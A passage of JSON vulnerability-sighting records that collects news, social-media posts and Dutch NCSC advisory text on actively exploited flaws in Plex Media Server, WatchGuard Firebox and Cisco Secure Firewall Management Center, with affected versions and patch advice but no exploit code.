\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 Plex \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0434\u0438\u0430\u0441\u0435\u0440\u0432\u0435\u0440\u044b\u00a0\u0432 \u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Plex Media Server \u0432\u0435\u0440\u0441\u0438\u0438 1.43.2 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u0431\u043d\u043e\u0432\u0438\u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Plex Media Server \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.43.3 (\u043e\u0442 19 \u043c\u0430\u044f) \u0438 Plex Desktop \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.115.0 (\u043e\u0442 13 \u0430\u0432\u0433\u0443\u0441\u0442\u0430).\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0430 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 36 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Plex Media Server,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Plex \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Plex \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f (\u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f) \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WatchGuard Firebox \u0438 Cisco.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e CISA \u0435\u0449\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430 \u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2025-14733\u00a0\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430,\u00a0\u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Fireware OS 11.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 11.12.4_Update1), 12.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 12.11.5), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0440\u0441\u0438\u0439 2025.1\u20132025.1.3.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 WatchGuard\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Firebox \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN IKEv2, \u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439, \u0435\u0441\u043b\u0438 VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u0438\u0430\u043b\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0448\u043b\u044e\u0437\u043e\u043c \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043e.\n\nWatchGuard \u0442\u043e\u0433\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c IOCs, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Firebox.\n\nShadowserver \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u00a0\u0431\u043e\u043b\u0435\u0435 115 000 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Firebox \u0432 \u0441\u0435\u0442\u0438, \u0438 \u043f\u043e\u0447\u0442\u0438 9000 \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u041f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e WatchGuard \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0441\u043b\u0443\u0433\u0438 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 250 000 \u043c\u0430\u043b\u044b\u043c \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c, \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435 17 000 \u0440\u0435\u0441\u0435\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-20079, \u0432 \u0435\u0435 Secure Firewall Management Center (FMC) \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS 10,0 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Cisco \u0442\u0430\u043a \u0438 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0438, \u043a\u0442\u043e \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u0442\u043e\u044f\u043b \u0438 \u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u0447\u0435\u043c Cisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-20079 \u0435\u0449\u0435 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438 \u0440\u0430\u043d\u044c\u0448\u0435.\n\n29 \u0438\u044e\u043b\u044f Cisco\u00a0\u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430 \u043e\u0431 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure FMC - CVE-2026-20316, \u043e\u0442\u043c\u0435\u0447\u0430\u044f \u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e. \u0418 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0436\u0435  \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e CVE-2026-20079, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0442\u0435 \u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430.", "creation_timestamp": "2026-09-11T10:00:04.683815Z"}, {"uuid": "61cf7dea-d2e2-4fd8-8f48-f3c87eba2443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "content": "Cisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass", "creation_timestamp": "2026-09-11T10:00:41.707279Z"}, {"uuid": "dd0ceda7-2dff-4fdd-b4ee-e64083eb8204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mvaecxg3qs2n", "content": "CVE-2026-20079: Cisco FMC auth bypass, CVSS 10.0, is actively exploited. Unauthenticated root OS access. CISA KEV deadline Sep 12\u2026 https://0daynews.com/articles/2026-09-10-cisco-fmc-cve-2026-20079-exploited/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-1641", "creation_timestamp": "2026-09-11T10:30:15.522461Z"}, {"uuid": "3af82b38-3ed5-4336-bb45-e5891645287c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mvaehkei6s25", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\nState-sponsored and financially-motivated attackers are actively exploiting CVE-2026-20079, a critical authentication bypass vulnerability in Cisco Secure Firewall Management Center (F\u2026\n#hackernews #news", "creation_timestamp": "2026-09-11T10:32:48.386858Z"}, {"uuid": "e7bd9077-bdac-4176-a409-ffe1973bed36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mvaehkei6s25", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\n\nState-sponsored and financially-motivated attackers are actively exploiting CVE-2026-20079, a critical authentication bypass vulnerability in Cisco Secure Firewall Management Center (F\u2026\n#hackernews #news", "creation_timestamp": "2026-09-11T10:32:48.450686Z"}, {"uuid": "ffaa4445-84b5-4717-855f-50054bdc6f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mvagkfarqj27", "content": "Cisco Secure FMC: CVE-2026-20079 (CVSS 10.0) is being exploited by Sandworm and Qilin ransomware. CISA's KEV deadline is 12 Sept \u2014 patch now. https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "creation_timestamp": "2026-09-11T11:10:11.964234Z"}, {"uuid": "2b49bc3f-3182-42aa-a141-d704310524bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mvaiiy5jvd2i", "content": "Cisco confirms active exploitation of CVE-2026-20079 \u2014 CVSS 10.0 FMC auth bypass granting unauthenticated root access. CISA KEV\u2026 https://0daynews.com/articles/2026-09-10-cisco-fmc-cve-2026-20079-exploited/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-1642", "creation_timestamp": "2026-09-11T11:45:11.528327Z"}, {"uuid": "e781c5cd-57c4-470b-8885-5d16873ec2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mvaohguzkc2w", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316) - Help Net Security www.helpnetsecurity.com/2026/09/10/c...", "creation_timestamp": "2026-09-11T13:31:50.188024Z"}, {"uuid": "4528a6a2-77e9-47ca-a1ee-18027c5d580a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mvaohguzkc2w", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316) - Help Net Security www.helpnetsecurity.com/2026/09/10/c...", "creation_timestamp": "2026-09-11T13:31:50.248897Z"}, {"uuid": "205275d3-fbae-43bc-8c1c-fb5ebd31cfbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvau5vlrgd2q", "content": "\ud83e\udd16 Cisco FMC auth bypass (CVE-2026-20079, CVSS 10.0) exploited in the wild: ransomware and state-sponsored clusters steal credentials and deploy Qilin on unpatched appliances.\nhttps://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "creation_timestamp": "2026-09-11T15:13:44.769086Z"}, {"uuid": "afece3df-89e6-4955-a073-a2dcc544504b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0271", "content": "Cisco heeft een kwetsbaarheid verholpen in Cisco Secure Firewall Management Center. De kwetsbaarheid bevindt zich in de webinterface van Cisco Secure Firewall Management Center en betreft een hard-coded, statisch wachtwoord voor een laaggeprivilegieerd account. Hierdoor kunnen niet-geauthenticeerde externe aanvallers toegang verkrijgen zonder inloggegevens. Deze toegang kan leiden tot het blootstellen van gevoelige data die door het systeem wordt opgeslagen of beheerd. In combinatie met andere kwetsbaarheden kan deze toegang leiden tot privilege-escalatie.\n\nHet Amerikaanse CISA heeft de kwetbaarheid op de Known Exploited Vulnerabilities-lijst geplaatst, wat indicatief is dat er binnen de Amerikaanse Federale Overheid misbruik heeft plaatsgevonden van deze kwetsbaarheid.\n\nHet is goed gebruik om web-interfaces van management omgevingingen *niet* publiek toegankelijk te hebben, maar af te steunen in een separate beheer-omgeving.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20316 is waargenomen. Organisaties wordt geadviseerd de updates van Cisco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de Talos blog voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-11T16:00:47.152140Z"}, {"uuid": "281382dc-4975-4eec-98eb-52f7928642b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De 